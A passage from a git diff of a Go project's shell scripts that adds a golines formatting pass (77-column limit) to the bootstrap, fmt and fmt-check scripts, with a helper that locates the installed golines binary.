"$HOME/.nvm/nvm.sh" ]; then nvm_sh "nvm use $NODE_VERSION >/dev/null && cd \"$ROOT\" && \ @@ -132,8 +153,9 @@ main() { if missing make; then pkg_install gnumake make make make; fi if missing git; then pkg_install git git git git; fi if missing curl; then pkg_install curl curl curl curl; fi - if missing gofmt; then pkg_install go golang go go; fi + if missing go; then pkg_install go golang go go; fi + ensure_golines ensure_node ensure_yarn install_js_deps diff --git a/script/fmt b/script/fmt index 9febb30..6edb862 100755 --- a/script/fmt +++ b/script/fmt @@ -1,6 +1,6 @@ #!/bin/sh -# script/fmt: format all files (writes): the Go code with gofmt, the -# Markdown with prettier. +# script/fmt: format all files (writes): the Go code with gofmt and +# then golines -m 77, the Markdown with prettier. set -eu ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" @@ -24,9 +24,33 @@ run_yarn() { shift && exec yarn "$@"' bash "$NODE_VERSION" "$@" } +# The golines that script/bootstrap installed: go install puts it in +# GOBIN, or in GOPATH/bin when GOBIN is unset. +golines_path() { + gobin="$(go env GOBIN)" + golines="${gobin:-$(go env GOPATH)/bin}/golines" + if [ ! -x "$golines" ]; then + echo "fmt: no golines; run script/bootstrap first" >&2 + exit 1 + fi + echo "$golines" +} + main() { cd "$ROOT" + golines="$(golines_path)" gofmt -w cmd internal + # One golines pass can leave a line that the next pass splits + # further, so run it until it would change nothing. + passes=0 + while [ -n "$("$golines" -m 77 -l cmd internal)" ]; do + passes=$((passes + 1)) + if [ "$passes" -gt 5 ]; then + echo "fmt: golines -m 77 still changes files after 5 passes" >&2 + exit 1 + fi + "$golines" -m 77 -w cmd internal + done run_yarn run prettier --write '**/*.md' --tab-width 4 --prose-wrap always } diff --git a/script/fmt-check b/script/fmt-check index 52ec452..181c13c 100755 --- a/script/fmt-check +++ b/script/fmt-check @@ -1,6 +1,6 @@ #!/bin/sh # script/fmt-check: check formatting (read-only): the Go code with -# gofmt, the Markdown with prettier. +# gofmt and golines -m 77, the Markdown with prettier. set -eu ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" @@ -24,14 +24,33 @@ run_yarn() { shift && exec yarn "$@"' bash "$NODE_VERSION" "$@" } +# The golines that script/bootstrap installed: go install puts it in +# GOBIN, or in GOPATH/bin when GOBIN is unset. +golines_path() { + gobin="$(go env GOBIN)" + golines="${gobin:-$(go env GOPATH)/bin}/golines" + if [ ! -x "$golines" ]; then + echo "fmt-check: no golines; run script/bootstrap first" >&2 + exit 1 + fi + echo "$golines" +} + main() { cd "$ROOT" + golines="$(golines_path)" unformatted="$(gofmt -l cmd internal)" if [ -n "$unformatted" ]; then echo "fmt-check: gofmt would change:" >&2 echo "$unformatted" >&2 exit 1 fi + unformatted="$("$golines" -m 77 -l cmd internal)" + if [ -n "$unformatted" ]; then + echo "fmt-check: golines -m 77 would change:" >&2 + echo "$unformatted" >&2 + exit 1 + fi run_yarn run prettier --check '**/*.md' --tab-width 4 --prose-wrap always }